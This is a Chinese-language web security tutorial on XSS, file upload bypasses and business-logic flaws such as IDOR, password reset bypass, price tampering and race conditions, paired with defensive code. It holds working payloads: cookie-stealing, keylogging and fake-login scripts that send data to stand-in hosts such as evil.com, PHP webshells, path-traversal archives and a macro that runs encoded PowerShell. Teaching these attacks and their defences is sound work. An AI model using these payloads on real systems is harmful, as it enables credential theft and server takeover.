2.6、Web漏洞挖掘实战(下):XSS、文件上传与逻辑漏洞深度解析
当SQL注入逐渐被重视,攻击者的目光转向了更隐蔽的业务逻辑层。
一、开篇:从"技术漏洞"到"逻辑漏洞"的思维转变
在上一篇文章中,我们探讨了SQL注入、命令注入等技术型漏洞。今天,我们将深入XSS跨站脚本攻击、文件上传漏洞,以及更隐蔽但危害巨大的业务逻辑漏洞。
这些漏洞往往因为"看起来不那么技术"而被忽视,但实际上,它们正是现代Web应用面临的主要威胁。
真实案例警示
案例1:存储型XSS导致的内网沦陷
某大型企业办公系统存在存储型XSS漏洞,攻击者在公告板插入恶意脚本,窃取管理员cookie,最终获取整个内网控制权。
案例2:文件上传漏洞引发的供应链攻击
某知名CMS文件上传校验不严,攻击者上传webshell,进而篡改软件更新包,导致所有用户被植入后门。
案例3:逻辑越权导致的亿元损失
某金融平台存在平行越权,攻击者通过修改用户ID参数,可查看任意用户的投资记录和交易数据。
二、XSS跨站脚本攻击:前端的安全噩梦
2.1 XSS攻击原理与分类
XSS的本质是恶意脚本在受害者的浏览器中执行,核心问题在于"不可信数据的未充分过滤"。
// 一个典型的XSS攻击载荷
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
反射型XSS:一次性攻击
攻击特征:
- 恶意脚本来自当前HTTP请求
- 非持久化,需要诱骗用户点击特定链接
- 通常通过邮件、即时消息传播
实战示例:
# 存在漏洞的URL
https://vulnerable-site.com/search?q=<script>alert('XSS')</script>
# 攻击者构造的恶意链接
https://vulnerable-site.com/search?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
检测方法:
# 使用Python requests库检测反射型XSS
import requests
def test_reflected_xss(url, param):
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert(1)>",
"'\"><script>alert('XSS')</script>"
]
for payload in payloads:
test_url = f"{url}?{param}={payload}"
response = requests.get(test_url)
if payload in response.text:
print(f"[!] 可能存在XSS漏洞: {payload}")
存储型XSS:持久化威胁
攻击特征:
- 恶意脚本被存储到服务器(数据库、文件等)
- 所有访问受影响页面的用户都会执行恶意脚本
- 危害更大,传播范围更广
常见攻击点:
- 用户评论、留言板
- 个人资料页(用户名、签名)
- 文件上传(HTML文件)
- 站内消息系统
防御方案:
运行
<!-- 服务端渲染时的防御 -->
<div>
{{ user_content | escape }}
</div>
<!-- 现代前端框架的自动防护 -->
// React默认转义
<div>{userContent}</div>
// Vue.js默认转义
<div v-html="userContent"></div> <!-- 危险! -->
<div>{{ userContent }}</div> <!-- 安全 -->
2.2 XSS攻击的进阶利用
窃取用户凭证:
// 获取cookie并发送到攻击者服务器
var img = new Image();
img.src = 'http://evil-collector.com/steal?cookie=' + document.cookie;
// 捕获键盘记录
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://evil-collector.com/keylog', true);
xhr.send('key=' + e.key);
}
界面伪装攻击:
运行
<!-- 伪造登录框窃取凭证 -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
<div style="width:300px;margin:100px auto;background:white;padding:20px;">
<h3>会话已过期,请重新登录</h3>
<input type="text" id="username" placeholder="用户名">
<input type="password" id="password" placeholder="密码">
<button onclick="stealCredentials()">登录</button>
</div>
</div>
<script>
function stealCredentials() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
// 发送到攻击者服务器
fetch('http://evil.com/steal', {
method: 'POST',
body: JSON.stringify({user: username, pass: password})
});
// 可选:提交到真实登录接口避免用户怀疑
document.forms[0].submit();
}
</script>
三、文件上传漏洞:从功能到后门的蜕变
3.1 文件上传的常见绕过技巧
客户端校验绕过
漏洞代码:
// 前端JavaScript校验(可轻易绕过)
function checkFile() {
var file = document.getElementById('file').value;
var ext = file.split('.').pop().toLowerCase();
if (['jpg', 'png', 'gif'].indexOf(ext) === -1) {
alert('只允许上传图片文件!');
return false;
}
return true;
}
绕过方法:
# 1. 直接删除前端校验
# 浏览器开发者工具删除onsubmit事件
# 2. 使用Burp Suite拦截修改
# 修改Content-Type和文件后缀
# 3. 使用curl直接发送请求
curl -X POST -F "file=@shell.php" -F "submit=Upload" http://target.com/upload
服务端校验绕过
技巧1:文件类型混淆
POST /upload HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
技巧2:双重后缀攻击
shell.php.jpg
shell.php.png
shell.phtml
技巧3:NULL字节截断
shell.php%00.jpg
shell.asp::DATA
内容校验绕过
GIF文件头绕过:
// 在PHP文件开头添加GIF文件头
GIF89a;
<?php system($_GET['cmd']); ?>
Exif数据注入:
# 使用exiftool在图片元数据中插入PHP代码
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg
3.2 高级文件上传攻击
压缩包解压漏洞
攻击原理:解压程序未检查压缩包内文件路径
利用方法:
# 创建包含路径遍历的压缩包
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip --symlinks evil.zip ../../../var/www/html/shell.php shell.php
# 或使用tar
tar -czf evil.tar.gz --transform 's,.*,../../var/www/html/shell.php,' shell.php
Office文档宏攻击
# 生成包含宏的恶意Word文档
from maldoc import OfficeDocument
doc = OfficeDocument('word')
doc.add_macro('''
Sub AutoOpen()
Shell "cmd /c powershell -exec bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdw..."
End Sub
''')
doc.save('malicious_doc.doc')
3.3 文件上传的全面防御方案
<?php
class SecureFileUpload {
private $allowed_extensions = ['jpg', 'png', 'gif', 'pdf'];
private $allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
private $max_file_size = 2097152; // 2MB
private $upload_path = './uploads/';
public function upload($file) {
// 1. 检查文件大小
if ($file['size'] > $this->max_file_size) {
throw new Exception('文件过大');
}
// 2. 检查文件扩展名
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($extension, $this->allowed_extensions)) {
throw new Exception('不支持的文件类型');
}
// 3. 检查MIME类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (!in_array($mime_type, $this->allowed_mime_types)) {
throw new Exception('非法的文件类型');
}
// 4. 重命名文件
$new_filename = uniqid() . '.' . $extension;
$destination = $this->upload_path . $new_filename;
// 5. 移动文件
if (!move_uploaded_file($file['tmp_name'], $destination)) {
throw new Exception('文件上传失败');
}
// 6. 图片文件二次渲染
if (strpos($mime_type, 'image/') === 0) {
$this->reprocess_image($destination);
}
return $new_filename;
}
private function reprocess_image($file_path) {
// 通过GD库重新生成图片,消除潜在恶意代码
$image_info = getimagesize($file_path);
$image_type = $image_info[2];
switch ($image_type) {
case IMAGETYPE_JPEG:
$image = imagecreatefromjpeg($file_path);
imagejpeg($image, $file_path, 100);
break;
case IMAGETYPE_PNG:
$image = imagecreatefrompng($file_path);
imagepng($image, $file_path);
break;
case IMAGETYPE_GIF:
$image = imagecreatefromgif($file_path);
imagegif($image, $file_path);
break;
}
imagedestroy($image);
}
}
?>
四、业务逻辑漏洞:看不见的致命威胁
4.1 越权访问漏洞
平行越权(水平越权)
漏洞特征:用户A可以访问用户B的数据
测试用例:
# 正常请求
GET /api/orders/12345 HTTP/1.1
Authorization: Bearer userA_token
# 攻击请求 - 修改订单ID
GET /api/orders/12346 HTTP/1.1
Authorization: Bearer userA_token
修复方案:
# Django修复示例
class OrderDetailView(APIView):
def get(self, request, order_id):
try:
# 确保订单属于当前用户
order = Order.objects.get(id=order_id, user=request.user)
serializer = OrderSerializer(order)
return Response(serializer.data)
except Order.DoesNotExist:
return Response({'error': '订单不存在'}, status=404)
垂直越权(权限提升)
漏洞特征:普通用户可以执行管理员操作
攻击示例:
# 普通用户尝试访问管理员接口
POST /api/admin/users/delete HTTP/1.1
Authorization: Bearer user_token
Content-Type: application/json
{"user_id": 123}
修复方案:
// Spring Security修复示例
@PreAuthorize("hasRole('ADMIN')")
@DeleteMapping("/admin/users/{userId}")
public ResponseEntity<?> deleteUser(@PathVariable Long userId) {
userService.deleteUser(userId);
return ResponseEntity.ok().build();
}
4.2 密码重置漏洞
密码重置令牌泄露
漏洞代码:
// 不安全的密码重置实现
// 前端直接显示重置令牌
$.get('/api/reset-token?email=user@example.com', function(response) {
$('#token').text(response.token); // 令牌暴露在页面
});
安全实现:
# Django安全的重置流程
from django.core.mail import send_mail
from django.utils.crypto import get_random_string
def send_reset_email(user_email):
# 生成令牌并存储到数据库
token = get_random_string(50)
ResetToken.objects.create(email=user_email, token=token)
# 发送包含重置链接的邮件
reset_url = f"https://example.com/reset-password?token={token}"
send_mail(
'密码重置请求',
f'请点击链接重置密码: {reset_url}',
'noreply@example.com',
[user_email],
fail_silently=False,
)
重置流程绕过
攻击场景:
- 修改接收邮件的手机号/邮箱参数
- 跳过验证步骤直接设置新密码
- 暴力破解重置令牌
防护措施:
class PasswordResetView(View):
def post(self, request):
token = request.POST.get('token')
new_password = request.POST.get('new_password')
try:
reset_record = ResetToken.objects.get(token=token)
# 检查令牌是否过期(1小时有效)
if reset_record.created_at < timezone.now() - timedelta(hours=1):
return JsonResponse({'error': '令牌已过期'}, status=400)
# 更新密码并标记令牌为已使用
user = User.objects.get(email=reset_record.email)
user.set_password(new_password)
user.save()
reset_record.delete() # 一次性令牌
return JsonResponse({'message': '密码重置成功'})
except ResetToken.DoesNotExist:
return JsonResponse({'error': '无效的令牌'}, status=400)
4.3 业务逻辑绕过
金额篡改攻击
漏洞请求:
POST /api/payment HTTP/1.1
Content-Type: application/json
{
"product_id": "prod_001",
"quantity": 1,
"unit_price": 100.00, // 前端传递的价格
"total_amount": 100.00
}
攻击请求:
http
复制
下载
POST /api/payment HTTP/1.1
Content-Type: application/json
{
"product_id": "prod_001",
"quantity": 1,
"unit_price": 0.01, // 篡改价格
"total_amount": 0.01 // 篡改总金额
}
修复方案:
class PaymentView(APIView):
def post(self, request):
product_id = request.data.get('product_id')
quantity = request.data.get('quantity')
# 从数据库获取真实价格,不信任前端传递的价格
try:
product = Product.objects.get(id=product_id)
unit_price = product.price
total_amount = unit_price * quantity
# 创建支付订单
order = Order.objects.create(
product=product,
quantity=quantity,
unit_price=unit_price,
total_amount=total_amount,
user=request.user
)
return Response({'order_id': order.id, 'amount': total_amount})
except Product.DoesNotExist:
return Response({'error': '商品不存在'}, status=400)
竞争条件漏洞
漏洞代码:
# 优惠券使用的不安全实现
def use_coupon(user_id, coupon_code):
coupon = Coupon.objects.get(code=coupon_code)
if coupon.used:
return False # 优惠券已使用
# 此处存在时间窗口,可能被并发利用
time.sleep(0.1) # 模拟处理时间
coupon.used = True
coupon.user_id = user_id
coupon.save()
return True
修复方案:
# 使用数据库事务和行锁
from django.db import transaction
def use_coupon(user_id, coupon_code):
with transaction.atomic():
# SELECT FOR UPDATE 锁定记录
coupon = Coupon.objects.select_for_update().get(code=coupon_code)
if coupon.used:
return False
coupon.used = True
coupon.user_id = user_id
coupon.save()
return True
五、自动化检测与工具使用
5.1 XSS自动化检测
# 使用XSStrike进行高级XSS检测
python xsstrike.py -u "https://target.com/search?q=test"
# 使用Burp Suite的Scanner模块
# 1. 配置爬虫扫描目标
# 2. 使用Active Scan进行深度检测
# 3. 分析扫描报告中的XSS漏洞
5.2 文件上传漏洞扫描
# 自定义文件上传检测脚本
import requests
def test_file_upload(target_url):
malicious_files = {
'shell.php': '<?php system($_GET["cmd"]); ?>',
'test.jpg.php': 'GIF89a;<?php system($_GET["cmd"]); ?>',
'test.phtml': '<?php echo "evil"; ?>'
}
for filename, content in malicious_files.items():
files = {'file': (filename, content, 'image/jpeg')}
response = requests.post(target_url, files=files)
if response.status_code == 200:
print(f"[!] 可能成功上传: {filename}")
5.3 业务逻辑漏洞检测
# 越权访问检测脚本
import requests
def test_idor(base_url, user_tokens):
"""检测平行越权漏洞"""
for user_id in range(100, 110):
for token in user_tokens:
headers = {'Authorization': f'Bearer {token}'}
response = requests.get(f'{base_url}/api/user/{user_id}', headers=headers)
if response.status_code == 200:
print(f"[!] 用户 {token[:8]}... 可能越权访问了用户 {user_id} 的数据")
六、防御体系构建
6.1 安全开发生命周期
需求阶段 → 威胁建模 → 安全设计 → 安全编码 → 安全测试 → 安全部署 → 安全监控
6.2 具体防御措施总结
XSS防御:
- 输入验证:白名单原则
- 输出编码:上下文相关编码(HTML、JS、URL)
- 内容安全策略:CSP头
- HTTPOnly Cookie:防止cookie被窃取
文件上传防御:
- 文件类型校验:扩展名 + MIME类型 + 文件头
- 重命名存储:避免直接使用用户文件名
- 隔离运行:上传文件在沙箱环境中处理
- 权限控制:上传目录无执行权限
逻辑漏洞防御:
- 权限校验:每个操作前验证权限
- 业务规则服务端校验:不信任任何前端输入
- 操作日志:记录关键业务操作
- 代码审查:重点关注业务逻辑流程
七、总结与展望
在本篇文章中,我们深入探讨了XSS、文件上传和业务逻辑漏洞的攻防技术。与SQL注入等技术型漏洞相比,这些漏洞更考验测试人员对业务逻辑的理解和攻击面的发现能力。
核心要点回顾:
- XSS攻击的本质是信任了不可信的输入,防御关键在于"不信任任何用户输入"
- 文件上传漏洞的绕过手段多样,需要多层次、深度的防护
- 业务逻辑漏洞危害巨大且难以发现,需要深入理解业务流程
实战建议:
- 养成"攻击者思维",从异常角度审视系统
- 自动化工具与手动测试相结合
- 关注业务场景,理解每个功能的设计初衷
- 建立持续的安全测试和代码审查流程
随着Web技术的不断发展,新的攻击面也在不断涌现。在下一篇文章中,我们将探讨《内网横向移动技术详解》,了解攻击者在突破边界后如何在内网中扩大战果。
